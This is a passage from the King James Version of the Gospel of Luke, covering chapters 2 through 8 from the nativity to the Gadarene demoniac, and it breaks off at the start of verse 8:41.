Israel. + +2:1 And it came to pass in those days, that there went out a decree +from Caesar Augustus that all the world should be taxed. + +2:2 (And this taxing was first made when Cyrenius was governor of +Syria.) 2:3 And all went to be taxed, every one into his own city. + +2:4 And Joseph also went up from Galilee, out of the city of Nazareth, +into Judaea, unto the city of David, which is called Bethlehem; +(because he was of the house and lineage of David:) 2:5 To be taxed +with Mary his espoused wife, being great with child. + +2:6 And so it was, that, while they were there, the days were +accomplished that she should be delivered. + +2:7 And she brought forth her firstborn son, and wrapped him in +swaddling clothes, and laid him in a manger; because there was no room +for them in the inn. + +2:8 And there were in the same country shepherds abiding in the field, +keeping watch over their flock by night. + +2:9 And, lo, the angel of the Lord came upon them, and the glory of +the Lord shone round about them: and they were sore afraid. + +2:10 And the angel said unto them, Fear not: for, behold, I bring you +good tidings of great joy, which shall be to all people. + +2:11 For unto you is born this day in the city of David a Saviour, +which is Christ the Lord. + +2:12 And this shall be a sign unto you; Ye shall find the babe wrapped +in swaddling clothes, lying in a manger. + +2:13 And suddenly there was with the angel a multitude of the heavenly +host praising God, and saying, 2:14 Glory to God in the highest, and +on earth peace, good will toward men. + +2:15 And it came to pass, as the angels were gone away from them into +heaven, the shepherds said one to another, Let us now go even unto +Bethlehem, and see this thing which is come to pass, which the Lord +hath made known unto us. + +2:16 And they came with haste, and found Mary, and Joseph, and the +babe lying in a manger. + +2:17 And when they had seen it, they made known abroad the saying +which was told them concerning this child. + +2:18 And all they that heard it wondered at those things which were +told them by the shepherds. + +2:19 But Mary kept all these things, and pondered them in her heart. + +2:20 And the shepherds returned, glorifying and praising God for all +the things that they had heard and seen, as it was told unto them. + +2:21 And when eight days were accomplished for the circumcising of the +child, his name was called JESUS, which was so named of the angel +before he was conceived in the womb. + +2:22 And when the days of her purification according to the law of +Moses were accomplished, they brought him to Jerusalem, to present him +to the Lord; 2:23 (As it is written in the law of the LORD, Every male +that openeth the womb shall be called holy to the Lord;) 2:24 And to +offer a sacrifice according to that which is said in the law of the +Lord, A pair of turtledoves, or two young pigeons. + +2:25 And, behold, there was a man in Jerusalem, whose name was Simeon; +and the same man was just and devout, waiting for the consolation of +Israel: and the Holy Ghost was upon him. + +2:26 And it was revealed unto him by the Holy Ghost, that he should +not see death, before he had seen the Lord's Christ. + +2:27 And he came by the Spirit into the temple: and when the parents +brought in the child Jesus, to do for him after the custom of the law, +2:28 Then took he him up in his arms, and blessed God, and said, 2:29 +Lord, now lettest thou thy servant depart in peace, according to thy +word: 2:30 For mine eyes have seen thy salvation, 2:31 Which thou hast +prepared before the face of all people; 2:32 A light to lighten the +Gentiles, and the glory of thy people Israel. + +2:33 And Joseph and his mother marvelled at those things which were +spoken of him. + +2:34 And Simeon blessed them, and said unto Mary his mother, Behold, +this child is set for the fall and rising again of many in Israel; and +for a sign which shall be spoken against; 2:35 (Yea, a sword shall +pierce through thy own soul also,) that the thoughts of many hearts +may be revealed. + +2:36 And there was one Anna, a prophetess, the daughter of Phanuel, of +the tribe of Aser: she was of a great age, and had lived with an +husband seven years from her virginity; 2:37 And she was a widow of +about fourscore and four years, which departed not from the temple, +but served God with fastings and prayers night and day. + +2:38 And she coming in that instant gave thanks likewise unto the +Lord, and spake of him to all them that looked for redemption in +Jerusalem. + +2:39 And when they had performed all things according to the law of +the Lord, they returned into Galilee, to their own city Nazareth. + +2:40 And the child grew, and waxed strong in spirit, filled with +wisdom: and the grace of God was upon him. + +2:41 Now his parents went to Jerusalem every year at the feast of the +passover. + +2:42 And when he was twelve years old, they went up to Jerusalem after +the custom of the feast. + +2:43 And when they had fulfilled the days, as they returned, the child +Jesus tarried behind in Jerusalem; and Joseph and his mother knew not +of it. + +2:44 But they, supposing him to have been in the company, went a day's +journey; and they sought him among their kinsfolk and acquaintance. + +2:45 And when they found him not, they turned back again to Jerusalem, +seeking him. + +2:46 And it came to pass, that after three days they found him in the +temple, sitting in the midst of the doctors, both hearing them, and +asking them questions. + +2:47 And all that heard him were astonished at his understanding and +answers. + +2:48 And when they saw him, they were amazed: and his mother said unto +him, Son, why hast thou thus dealt with us? behold, thy father and I +have sought thee sorrowing. + +2:49 And he said unto them, How is it that ye sought me? wist ye not +that I must be about my Father's business? 2:50 And they understood +not the saying which he spake unto them. + +2:51 And he went down with them, and came to Nazareth, and was subject +unto them: but his mother kept all these sayings in her heart. + +2:52 And Jesus increased in wisdom and stature, and in favour with God +and man. + +3:1 Now in the fifteenth year of the reign of Tiberius Caesar, Pontius +Pilate being governor of Judaea, and Herod being tetrarch of Galilee, +and his brother Philip tetrarch of Ituraea and of the region of +Trachonitis, and Lysanias the tetrarch of Abilene, 3:2 Annas and +Caiaphas being the high priests, the word of God came unto John the +son of Zacharias in the wilderness. + +3:3 And he came into all the country about Jordan, preaching the +baptism of repentance for the remission of sins; 3:4 As it is written +in the book of the words of Esaias the prophet, saying, The voice of +one crying in the wilderness, Prepare ye the way of the Lord, make his +paths straight. + +3:5 Every valley shall be filled, and every mountain and hill shall be +brought low; and the crooked shall be made straight, and the rough +ways shall be made smooth; 3:6 And all flesh shall see the salvation +of God. + +3:7 Then said he to the multitude that came forth to be baptized of +him, O generation of vipers, who hath warned you to flee from the +wrath to come? 3:8 Bring forth therefore fruits worthy of repentance, +and begin not to say within yourselves, We have Abraham to our father: +for I say unto you, That God is able of these stones to raise up +children unto Abraham. + +3:9 And now also the axe is laid unto the root of the trees: every +tree therefore which bringeth not forth good fruit is hewn down, and +cast into the fire. + +3:10 And the people asked him, saying, What shall we do then? 3:11 He +answereth and saith unto them, He that hath two coats, let him impart +to him that hath none; and he that hath meat, let him do likewise. + +3:12 Then came also publicans to be baptized, and said unto him, +Master, what shall we do? 3:13 And he said unto them, Exact no more +than that which is appointed you. + +3:14 And the soldiers likewise demanded of him, saying, And what shall +we do? And he said unto them, Do violence to no man, neither accuse +any falsely; and be content with your wages. + +3:15 And as the people were in expectation, and all men mused in their +hearts of John, whether he were the Christ, or not; 3:16 John +answered, saying unto them all, I indeed baptize you with water; but +one mightier than I cometh, the latchet of whose shoes I am not worthy +to unloose: he shall baptize you with the Holy Ghost and with fire: +3:17 Whose fan is in his hand, and he will throughly purge his floor, +and will gather the wheat into his garner; but the chaff he will burn +with fire unquenchable. + +3:18 And many other things in his exhortation preached he unto the +people. + +3:19 But Herod the tetrarch, being reproved by him for Herodias his +brother Philip's wife, and for all the evils which Herod had done, +3:20 Added yet this above all, that he shut up John in prison. + +3:21 Now when all the people were baptized, it came to pass, that +Jesus also being baptized, and praying, the heaven was opened, 3:22 +And the Holy Ghost descended in a bodily shape like a dove upon him, +and a voice came from heaven, which said, Thou art my beloved Son; in +thee I am well pleased. + +3:23 And Jesus himself began to be about thirty years of age, being +(as was supposed) the son of Joseph, which was the son of Heli, 3:24 +Which was the son of Matthat, which was the son of Levi, which was the +son of Melchi, which was the son of Janna, which was the son of +Joseph, 3:25 Which was the son of Mattathias, which was the son of +Amos, which was the son of Naum, which was the son of Esli, which was +the son of Nagge, 3:26 Which was the son of Maath, which was the son +of Mattathias, which was the son of Semei, which was the son of +Joseph, which was the son of Juda, 3:27 Which was the son of Joanna, +which was the son of Rhesa, which was the son of Zorobabel, which was +the son of Salathiel, which was the son of Neri, 3:28 Which was the +son of Melchi, which was the son of Addi, which was the son of Cosam, +which was the son of Elmodam, which was the son of Er, 3:29 Which was +the son of Jose, which was the son of Eliezer, which was the son of +Jorim, which was the son of Matthat, which was the son of Levi, 3:30 +Which was the son of Simeon, which was the son of Juda, which was the +son of Joseph, which was the son of Jonan, which was the son of +Eliakim, 3:31 Which was the son of Melea, which was the son of Menan, +which was the son of Mattatha, which was the son of Nathan, which was +the son of David, 3:32 Which was the son of Jesse, which was the son +of Obed, which was the son of Booz, which was the son of Salmon, which +was the son of Naasson, 3:33 Which was the son of Aminadab, which was +the son of Aram, which was the son of Esrom, which was the son of +Phares, which was the son of Juda, 3:34 Which was the son of Jacob, +which was the son of Isaac, which was the son of Abraham, which was +the son of Thara, which was the son of Nachor, 3:35 Which was the son +of Saruch, which was the son of Ragau, which was the son of Phalec, +which was the son of Heber, which was the son of Sala, 3:36 Which was +the son of Cainan, which was the son of Arphaxad, which was the son of +Sem, which was the son of Noe, which was the son of Lamech, 3:37 Which +was the son of Mathusala, which was the son of Enoch, which was the +son of Jared, which was the son of Maleleel, which was the son of +Cainan, 3:38 Which was the son of Enos, which was the son of Seth, +which was the son of Adam, which was the son of God. + +4:1 And Jesus being full of the Holy Ghost returned from Jordan, and +was led by the Spirit into the wilderness, 4:2 Being forty days +tempted of the devil. And in those days he did eat nothing: and when +they were ended, he afterward hungered. + +4:3 And the devil said unto him, If thou be the Son of God, command +this stone that it be made bread. + +4:4 And Jesus answered him, saying, It is written, That man shall not +live by bread alone, but by every word of God. + +4:5 And the devil, taking him up into an high mountain, shewed unto +him all the kingdoms of the world in a moment of time. + +4:6 And the devil said unto him, All this power will I give thee, and +the glory of them: for that is delivered unto me; and to whomsoever I +will I give it. + +4:7 If thou therefore wilt worship me, all shall be thine. + +4:8 And Jesus answered and said unto him, Get thee behind me, Satan: +for it is written, Thou shalt worship the Lord thy God, and him only +shalt thou serve. + +4:9 And he brought him to Jerusalem, and set him on a pinnacle of the +temple, and said unto him, If thou be the Son of God, cast thyself +down from hence: 4:10 For it is written, He shall give his angels +charge over thee, to keep thee: 4:11 And in their hands they shall +bear thee up, lest at any time thou dash thy foot against a stone. + +4:12 And Jesus answering said unto him, It is said, Thou shalt not +tempt the Lord thy God. + +4:13 And when the devil had ended all the temptation, he departed from +him for a season. + +4:14 And Jesus returned in the power of the Spirit into Galilee: and +there went out a fame of him through all the region round about. + +4:15 And he taught in their synagogues, being glorified of all. + +4:16 And he came to Nazareth, where he had been brought up: and, as +his custom was, he went into the synagogue on the sabbath day, and +stood up for to read. + +4:17 And there was delivered unto him the book of the prophet Esaias. +And when he had opened the book, he found the place where it was +written, 4:18 The Spirit of the Lord is upon me, because he hath +anointed me to preach the gospel to the poor; he hath sent me to heal +the brokenhearted, to preach deliverance to the captives, and +recovering of sight to the blind, to set at liberty them that are +bruised, 4:19 To preach the acceptable year of the Lord. + +4:20 And he closed the book, and he gave it again to the minister, and +sat down. And the eyes of all them that were in the synagogue were +fastened on him. + +4:21 And he began to say unto them, This day is this scripture +fulfilled in your ears. + +4:22 And all bare him witness, and wondered at the gracious words +which proceeded out of his mouth. And they said, Is not this Joseph's +son? 4:23 And he said unto them, Ye will surely say unto me this +proverb, Physician, heal thyself: whatsoever we have heard done in +Capernaum, do also here in thy country. + +4:24 And he said, Verily I say unto you, No prophet is accepted in his +own country. + +4:25 But I tell you of a truth, many widows were in Israel in the days +of Elias, when the heaven was shut up three years and six months, when +great famine was throughout all the land; 4:26 But unto none of them +was Elias sent, save unto Sarepta, a city of Sidon, unto a woman that +was a widow. + +4:27 And many lepers were in Israel in the time of Eliseus the +prophet; and none of them was cleansed, saving Naaman the Syrian. + +4:28 And all they in the synagogue, when they heard these things, were +filled with wrath, 4:29 And rose up, and thrust him out of the city, +and led him unto the brow of the hill whereon their city was built, +that they might cast him down headlong. + +4:30 But he passing through the midst of them went his way, 4:31 And +came down to Capernaum, a city of Galilee, and taught them on the +sabbath days. + +4:32 And they were astonished at his doctrine: for his word was with +power. + +4:33 And in the synagogue there was a man, which had a spirit of an +unclean devil, and cried out with a loud voice, 4:34 Saying, Let us +alone; what have we to do with thee, thou Jesus of Nazareth? art thou +come to destroy us? I know thee who thou art; the Holy One of God. + +4:35 And Jesus rebuked him, saying, Hold thy peace, and come out of +him. + +And when the devil had thrown him in the midst, he came out of him, +and hurt him not. + +4:36 And they were all amazed, and spake among themselves, saying, +What a word is this! for with authority and power he commandeth the +unclean spirits, and they come out. + +4:37 And the fame of him went out into every place of the country +round about. + +4:38 And he arose out of the synagogue, and entered into Simon's +house. + +And Simon's wife's mother was taken with a great fever; and they +besought him for her. + +4:39 And he stood over her, and rebuked the fever; and it left her: +and immediately she arose and ministered unto them. + +4:40 Now when the sun was setting, all they that had any sick with +divers diseases brought them unto him; and he laid his hands on every +one of them, and healed them. + +4:41 And devils also came out of many, crying out, and saying, Thou +art Christ the Son of God. And he rebuking them suffered them not to +speak: for they knew that he was Christ. + +4:42 And when it was day, he departed and went into a desert place: +and the people sought him, and came unto him, and stayed him, that he +should not depart from them. + +4:43 And he said unto them, I must preach the kingdom of God to other +cities also: for therefore am I sent. + +4:44 And he preached in the synagogues of Galilee. + +5:1 And it came to pass, that, as the people pressed upon him to hear +the word of God, he stood by the lake of Gennesaret, 5:2 And saw two +ships standing by the lake: but the fishermen were gone out of them, +and were washing their nets. + +5:3 And he entered into one of the ships, which was Simon's, and +prayed him that he would thrust out a little from the land. And he sat +down, and taught the people out of the ship. + +5:4 Now when he had left speaking, he said unto Simon, Launch out into +the deep, and let down your nets for a draught. + +5:5 And Simon answering said unto him, Master, we have toiled all the +night, and have taken nothing: nevertheless at thy word I will let +down the net. + +5:6 And when they had this done, they inclosed a great multitude of +fishes: and their net brake. + +5:7 And they beckoned unto their partners, which were in the other +ship, that they should come and help them. And they came, and filled +both the ships, so that they began to sink. + +5:8 When Simon Peter saw it, he fell down at Jesus' knees, saying, +Depart from me; for I am a sinful man, O Lord. + +5:9 For he was astonished, and all that were with him, at the draught +of the fishes which they had taken: 5:10 And so was also James, and +John, the sons of Zebedee, which were partners with Simon. And Jesus +said unto Simon, Fear not; from henceforth thou shalt catch men. + +5:11 And when they had brought their ships to land, they forsook all, +and followed him. + +5:12 And it came to pass, when he was in a certain city, behold a man +full of leprosy: who seeing Jesus fell on his face, and besought him, +saying, Lord, if thou wilt, thou canst make me clean. + +5:13 And he put forth his hand, and touched him, saying, I will: be +thou clean. And immediately the leprosy departed from him. + +5:14 And he charged him to tell no man: but go, and shew thyself to +the priest, and offer for thy cleansing, according as Moses commanded, +for a testimony unto them. + +5:15 But so much the more went there a fame abroad of him: and great +multitudes came together to hear, and to be healed by him of their +infirmities. + +5:16 And he withdrew himself into the wilderness, and prayed. + +5:17 And it came to pass on a certain day, as he was teaching, that +there were Pharisees and doctors of the law sitting by, which were +come out of every town of Galilee, and Judaea, and Jerusalem: and the +power of the Lord was present to heal them. + +5:18 And, behold, men brought in a bed a man which was taken with a +palsy: and they sought means to bring him in, and to lay him before +him. + +5:19 And when they could not find by what way they might bring him in +because of the multitude, they went upon the housetop, and let him +down through the tiling with his couch into the midst before Jesus. + +5:20 And when he saw their faith, he said unto him, Man, thy sins are +forgiven thee. + +5:21 And the scribes and the Pharisees began to reason, saying, Who is +this which speaketh blasphemies? Who can forgive sins, but God alone? +5:22 But when Jesus perceived their thoughts, he answering said unto +them, What reason ye in your hearts? 5:23 Whether is easier, to say, +Thy sins be forgiven thee; or to say, Rise up and walk? 5:24 But that +ye may know that the Son of man hath power upon earth to forgive sins, +(he said unto the sick of the palsy,) I say unto thee, Arise, and take +up thy couch, and go into thine house. + +5:25 And immediately he rose up before them, and took up that whereon +he lay, and departed to his own house, glorifying God. + +5:26 And they were all amazed, and they glorified God, and were filled +with fear, saying, We have seen strange things to day. + +5:27 And after these things he went forth, and saw a publican, named +Levi, sitting at the receipt of custom: and he said unto him, Follow +me. + +5:28 And he left all, rose up, and followed him. + +5:29 And Levi made him a great feast in his own house: and there was a +great company of publicans and of others that sat down with them. + +5:30 But their scribes and Pharisees murmured against his disciples, +saying, Why do ye eat and drink with publicans and sinners? 5:31 And +Jesus answering said unto them, They that are whole need not a +physician; but they that are sick. + +5:32 I came not to call the righteous, but sinners to repentance. + +5:33 And they said unto him, Why do the disciples of John fast often, +and make prayers, and likewise the disciples of the Pharisees; but +thine eat and drink? 5:34 And he said unto them, Can ye make the +children of the bridechamber fast, while the bridegroom is with them? +5:35 But the days will come, when the bridegroom shall be taken away +from them, and then shall they fast in those days. + +5:36 And he spake also a parable unto them; No man putteth a piece of +a new garment upon an old; if otherwise, then both the new maketh a +rent, and the piece that was taken out of the new agreeth not with the +old. + +5:37 And no man putteth new wine into old bottles; else the new wine +will burst the bottles, and be spilled, and the bottles shall perish. + +5:38 But new wine must be put into new bottles; and both are +preserved. + +5:39 No man also having drunk old wine straightway desireth new: for +he saith, The old is better. + +6:1 And it came to pass on the second sabbath after the first, that he +went through the corn fields; and his disciples plucked the ears of +corn, and did eat, rubbing them in their hands. + +6:2 And certain of the Pharisees said unto them, Why do ye that which +is not lawful to do on the sabbath days? 6:3 And Jesus answering them +said, Have ye not read so much as this, what David did, when himself +was an hungred, and they which were with him; 6:4 How he went into the +house of God, and did take and eat the shewbread, and gave also to +them that were with him; which it is not lawful to eat but for the +priests alone? 6:5 And he said unto them, That the Son of man is Lord +also of the sabbath. + +6:6 And it came to pass also on another sabbath, that he entered into +the synagogue and taught: and there was a man whose right hand was +withered. + +6:7 And the scribes and Pharisees watched him, whether he would heal +on the sabbath day; that they might find an accusation against him. + +6:8 But he knew their thoughts, and said to the man which had the +withered hand, Rise up, and stand forth in the midst. And he arose and +stood forth. + +6:9 Then said Jesus unto them, I will ask you one thing; Is it lawful +on the sabbath days to do good, or to do evil? to save life, or to +destroy it? 6:10 And looking round about upon them all, he said unto +the man, Stretch forth thy hand. And he did so: and his hand was +restored whole as the other. + +6:11 And they were filled with madness; and communed one with another +what they might do to Jesus. + +6:12 And it came to pass in those days, that he went out into a +mountain to pray, and continued all night in prayer to God. + +6:13 And when it was day, he called unto him his disciples: and of +them he chose twelve, whom also he named apostles; 6:14 Simon, (whom +he also named Peter,) and Andrew his brother, James and John, Philip +and Bartholomew, 6:15 Matthew and Thomas, James the son of Alphaeus, +and Simon called Zelotes, 6:16 And Judas the brother of James, and +Judas Iscariot, which also was the traitor. + +6:17 And he came down with them, and stood in the plain, and the +company of his disciples, and a great multitude of people out of all +Judaea and Jerusalem, and from the sea coast of Tyre and Sidon, which +came to hear him, and to be healed of their diseases; 6:18 And they +that were vexed with unclean spirits: and they were healed. + +6:19 And the whole multitude sought to touch him: for there went +virtue out of him, and healed them all. + +6:20 And he lifted up his eyes on his disciples, and said, Blessed be +ye poor: for yours is the kingdom of God. + +6:21 Blessed are ye that hunger now: for ye shall be filled. Blessed +are ye that weep now: for ye shall laugh. + +6:22 Blessed are ye, when men shall hate you, and when they shall +separate you from their company, and shall reproach you, and cast out +your name as evil, for the Son of man's sake. + +6:23 Rejoice ye in that day, and leap for joy: for, behold, your +reward is great in heaven: for in the like manner did their fathers +unto the prophets. + +6:24 But woe unto you that are rich! for ye have received your +consolation. + +6:25 Woe unto you that are full! for ye shall hunger. Woe unto you +that laugh now! for ye shall mourn and weep. + +6:26 Woe unto you, when all men shall speak well of you! for so did +their fathers to the false prophets. + +6:27 But I say unto you which hear, Love your enemies, do good to them +which hate you, 6:28 Bless them that curse you, and pray for them +which despitefully use you. + +6:29 And unto him that smiteth thee on the one cheek offer also the +other; and him that taketh away thy cloak forbid not to take thy coat +also. + +6:30 Give to every man that asketh of thee; and of him that taketh +away thy goods ask them not again. + +6:31 And as ye would that men should do to you, do ye also to them +likewise. + +6:32 For if ye love them which love you, what thank have ye? for +sinners also love those that love them. + +6:33 And if ye do good to them which do good to you, what thank have +ye? for sinners also do even the same. + +6:34 And if ye lend to them of whom ye hope to receive, what thank +have ye? for sinners also lend to sinners, to receive as much again. + +6:35 But love ye your enemies, and do good, and lend, hoping for +nothing again; and your reward shall be great, and ye shall be the +children of the Highest: for he is kind unto the unthankful and to the +evil. + +6:36 Be ye therefore merciful, as your Father also is merciful. + +6:37 Judge not, and ye shall not be judged: condemn not, and ye shall +not be condemned: forgive, and ye shall be forgiven: 6:38 Give, and it +shall be given unto you; good measure, pressed down, and shaken +together, and running over, shall men give into your bosom. For with +the same measure that ye mete withal it shall be measured to you +again. + +6:39 And he spake a parable unto them, Can the blind lead the blind? +shall they not both fall into the ditch? 6:40 The disciple is not +above his master: but every one that is perfect shall be as his +master. + +6:41 And why beholdest thou the mote that is in thy brother's eye, but +perceivest not the beam that is in thine own eye? 6:42 Either how +canst thou say to thy brother, Brother, let me pull out the mote that +is in thine eye, when thou thyself beholdest not the beam that is in +thine own eye? Thou hypocrite, cast out first the beam out of thine +own eye, and then shalt thou see clearly to pull out the mote that is +in thy brother's eye. + +6:43 For a good tree bringeth not forth corrupt fruit; neither doth a +corrupt tree bring forth good fruit. + +6:44 For every tree is known by his own fruit. For of thorns men do +not gather figs, nor of a bramble bush gather they grapes. + +6:45 A good man out of the good treasure of his heart bringeth forth +that which is good; and an evil man out of the evil treasure of his +heart bringeth forth that which is evil: for of the abundance of the +heart his mouth speaketh. + +6:46 And why call ye me, Lord, Lord, and do not the things which I +say? 6:47 Whosoever cometh to me, and heareth my sayings, and doeth +them, I will shew you to whom he is like: 6:48 He is like a man which +built an house, and digged deep, and laid the foundation on a rock: +and when the flood arose, the stream beat vehemently upon that house, +and could not shake it: for it was founded upon a rock. + +6:49 But he that heareth, and doeth not, is like a man that without a +foundation built an house upon the earth; against which the stream did +beat vehemently, and immediately it fell; and the ruin of that house +was great. + +7:1 Now when he had ended all his sayings in the audience of the +people, he entered into Capernaum. + +7:2 And a certain centurion's servant, who was dear unto him, was +sick, and ready to die. + +7:3 And when he heard of Jesus, he sent unto him the elders of the +Jews, beseeching him that he would come and heal his servant. + +7:4 And when they came to Jesus, they besought him instantly, saying, +That he was worthy for whom he should do this: 7:5 For he loveth our +nation, and he hath built us a synagogue. + +7:6 Then Jesus went with them. And when he was now not far from the +house, the centurion sent friends to him, saying unto him, Lord, +trouble not thyself: for I am not worthy that thou shouldest enter +under my roof: 7:7 Wherefore neither thought I myself worthy to come +unto thee: but say in a word, and my servant shall be healed. + +7:8 For I also am a man set under authority, having under me soldiers, +and I say unto one, Go, and he goeth; and to another, Come, and he +cometh; and to my servant, Do this, and he doeth it. + +7:9 When Jesus heard these things, he marvelled at him, and turned him +about, and said unto the people that followed him, I say unto you, I +have not found so great faith, no, not in Israel. + +7:10 And they that were sent, returning to the house, found the +servant whole that had been sick. + +7:11 And it came to pass the day after, that he went into a city +called Nain; and many of his disciples went with him, and much people. + +7:12 Now when he came nigh to the gate of the city, behold, there was +a dead man carried out, the only son of his mother, and she was a +widow: and much people of the city was with her. + +7:13 And when the Lord saw her, he had compassion on her, and said +unto her, Weep not. + +7:14 And he came and touched the bier: and they that bare him stood +still. + +And he said, Young man, I say unto thee, Arise. + +7:15 And he that was dead sat up, and began to speak. And he delivered +him to his mother. + +7:16 And there came a fear on all: and they glorified God, saying, +That a great prophet is risen up among us; and, That God hath visited +his people. + +7:17 And this rumour of him went forth throughout all Judaea, and +throughout all the region round about. + +7:18 And the disciples of John shewed him of all these things. + +7:19 And John calling unto him two of his disciples sent them to +Jesus, saying, Art thou he that should come? or look we for another? +7:20 When the men were come unto him, they said, John Baptist hath +sent us unto thee, saying, Art thou he that should come? or look we +for another? 7:21 And in that same hour he cured many of their +infirmities and plagues, and of evil spirits; and unto many that were +blind he gave sight. + +7:22 Then Jesus answering said unto them, Go your way, and tell John +what things ye have seen and heard; how that the blind see, the lame +walk, the lepers are cleansed, the deaf hear, the dead are raised, to +the poor the gospel is preached. + +7:23 And blessed is he, whosoever shall not be offended in me. + +7:24 And when the messengers of John were departed, he began to speak +unto the people concerning John, What went ye out into the wilderness +for to see? A reed shaken with the wind? 7:25 But what went ye out +for to see? A man clothed in soft raiment? Behold, they which are +gorgeously apparelled, and live delicately, are in kings' courts. + +7:26 But what went ye out for to see? A prophet? Yea, I say unto you, +and much more than a prophet. + +7:27 This is he, of whom it is written, Behold, I send my messenger +before thy face, which shall prepare thy way before thee. + +7:28 For I say unto you, Among those that are born of women there is +not a greater prophet than John the Baptist: but he that is least in +the kingdom of God is greater than he. + +7:29 And all the people that heard him, and the publicans, justified +God, being baptized with the baptism of John. + +7:30 But the Pharisees and lawyers rejected the counsel of God against +themselves, being not baptized of him. + +7:31 And the Lord said, Whereunto then shall I liken the men of this +generation? and to what are they like? 7:32 They are like unto +children sitting in the marketplace, and calling one to another, and +saying, We have piped unto you, and ye have not danced; we have +mourned to you, and ye have not wept. + +7:33 For John the Baptist came neither eating bread nor drinking wine; +and ye say, He hath a devil. + +7:34 The Son of man is come eating and drinking; and ye say, Behold a +gluttonous man, and a winebibber, a friend of publicans and sinners! +7:35 But wisdom is justified of all her children. + +7:36 And one of the Pharisees desired him that he would eat with him. +And he went into the Pharisee's house, and sat down to meat. + +7:37 And, behold, a woman in the city, which was a sinner, when she +knew that Jesus sat at meat in the Pharisee's house, brought an +alabaster box of ointment, 7:38 And stood at his feet behind him +weeping, and began to wash his feet with tears, and did wipe them with +the hairs of her head, and kissed his feet, and anointed them with the +ointment. + +7:39 Now when the Pharisee which had bidden him saw it, he spake +within himself, saying, This man, if he were a prophet, would have +known who and what manner of woman this is that toucheth him: for she +is a sinner. + +7:40 And Jesus answering said unto him, Simon, I have somewhat to say +unto thee. And he saith, Master, say on. + +7:41 There was a certain creditor which had two debtors: the one owed +five hundred pence, and the other fifty. + +7:42 And when they had nothing to pay, he frankly forgave them both. +Tell me therefore, which of them will love him most? 7:43 Simon +answered and said, I suppose that he, to whom he forgave most. + +And he said unto him, Thou hast rightly judged. + +7:44 And he turned to the woman, and said unto Simon, Seest thou this +woman? I entered into thine house, thou gavest me no water for my +feet: but she hath washed my feet with tears, and wiped them with the +hairs of her head. + +7:45 Thou gavest me no kiss: but this woman since the time I came in +hath not ceased to kiss my feet. + +7:46 My head with oil thou didst not anoint: but this woman hath +anointed my feet with ointment. + +7:47 Wherefore I say unto thee, Her sins, which are many, are +forgiven; for she loved much: but to whom little is forgiven, the same +loveth little. + +7:48 And he said unto her, Thy sins are forgiven. + +7:49 And they that sat at meat with him began to say within +themselves, Who is this that forgiveth sins also? 7:50 And he said to +the woman, Thy faith hath saved thee; go in peace. + +8:1 And it came to pass afterward, that he went throughout every city +and village, preaching and shewing the glad tidings of the kingdom of +God: and the twelve were with him, 8:2 And certain women, which had +been healed of evil spirits and infirmities, Mary called Magdalene, +out of whom went seven devils, 8:3 And Joanna the wife of Chuza +Herod's steward, and Susanna, and many others, which ministered unto +him of their substance. + +8:4 And when much people were gathered together, and were come to him +out of every city, he spake by a parable: 8:5 A sower went out to sow +his seed: and as he sowed, some fell by the way side; and it was +trodden down, and the fowls of the air devoured it. + +8:6 And some fell upon a rock; and as soon as it was sprung up, it +withered away, because it lacked moisture. + +8:7 And some fell among thorns; and the thorns sprang up with it, and +choked it. + +8:8 And other fell on good ground, and sprang up, and bare fruit an +hundredfold. And when he had said these things, he cried, He that hath +ears to hear, let him hear. + +8:9 And his disciples asked him, saying, What might this parable be? +8:10 And he said, Unto you it is given to know the mysteries of the +kingdom of God: but to others in parables; that seeing they might not +see, and hearing they might not understand. + +8:11 Now the parable is this: The seed is the word of God. + +8:12 Those by the way side are they that hear; then cometh the devil, +and taketh away the word out of their hearts, lest they should believe +and be saved. + +8:13 They on the rock are they, which, when they hear, receive the +word with joy; and these have no root, which for a while believe, and +in time of temptation fall away. + +8:14 And that which fell among thorns are they, which, when they have +heard, go forth, and are choked with cares and riches and pleasures of +this life, and bring no fruit to perfection. + +8:15 But that on the good ground are they, which in an honest and good +heart, having heard the word, keep it, and bring forth fruit with +patience. + +8:16 No man, when he hath lighted a candle, covereth it with a vessel, +or putteth it under a bed; but setteth it on a candlestick, that they +which enter in may see the light. + +8:17 For nothing is secret, that shall not be made manifest; neither +any thing hid, that shall not be known and come abroad. + +8:18 Take heed therefore how ye hear: for whosoever hath, to him shall +be given; and whosoever hath not, from him shall be taken even that +which he seemeth to have. + +8:19 Then came to him his mother and his brethren, and could not come +at him for the press. + +8:20 And it was told him by certain which said, Thy mother and thy +brethren stand without, desiring to see thee. + +8:21 And he answered and said unto them, My mother and my brethren are +these which hear the word of God, and do it. + +8:22 Now it came to pass on a certain day, that he went into a ship +with his disciples: and he said unto them, Let us go over unto the +other side of the lake. And they launched forth. + +8:23 But as they sailed he fell asleep: and there came down a storm of +wind on the lake; and they were filled with water, and were in +jeopardy. + +8:24 And they came to him, and awoke him, saying, Master, master, we +perish. Then he arose, and rebuked the wind and the raging of the +water: and they ceased, and there was a calm. + +8:25 And he said unto them, Where is your faith? And they being afraid +wondered, saying one to another, What manner of man is this! for he +commandeth even the winds and water, and they obey him. + +8:26 And they arrived at the country of the Gadarenes, which is over +against Galilee. + +8:27 And when he went forth to land, there met him out of the city a +certain man, which had devils long time, and ware no clothes, neither +abode in any house, but in the tombs. + +8:28 When he saw Jesus, he cried out, and fell down before him, and +with a loud voice said, What have I to do with thee, Jesus, thou Son +of God most high? I beseech thee, torment me not. + +8:29 (For he had commanded the unclean spirit to come out of the man. +For oftentimes it had caught him: and he was kept bound with chains +and in fetters; and he brake the bands, and was driven of the devil +into the wilderness.) 8:30 And Jesus asked him, saying, What is thy +name? And he said, Legion: because many devils were entered into him. + +8:31 And they besought him that he would not command them to go out +into the deep. + +8:32 And there was there an herd of many swine feeding on the +mountain: and they besought him that he would suffer them to enter +into them. And he suffered them. + +8:33 Then went the devils out of the man, and entered into the swine: +and the herd ran violently down a steep place into the lake, and were +choked. + +8:34 When they that fed them saw what was done, they fled, and went +and told it in the city and in the country. + +8:35 Then they went out to see what was done; and came to Jesus, and +found the man, out of whom the devils were departed, sitting at the +feet of Jesus, clothed, and in his right mind: and they were afraid. + +8:36 They also which saw it told them by what means he that was +possessed of the devils was healed. + +8:37 Then the whole multitude of the country of the Gadarenes round +about besought him to depart from them; for they were taken with great +fear: and he went up into the ship, and returned back again. + +8:38 Now the man out of whom the devils were departed besought him +that he might be with him: but Jesus sent him away, saying, 8:39 +Return to thine own house, and shew how great things God hath done +unto thee. And he went his way, and published throughout the whole +city how great things Jesus had done unto him. + +8:40 And it came to pass, that, when Jesus was returned, the people +gladly received him: for they were all waiting for him. + +8:41 And, 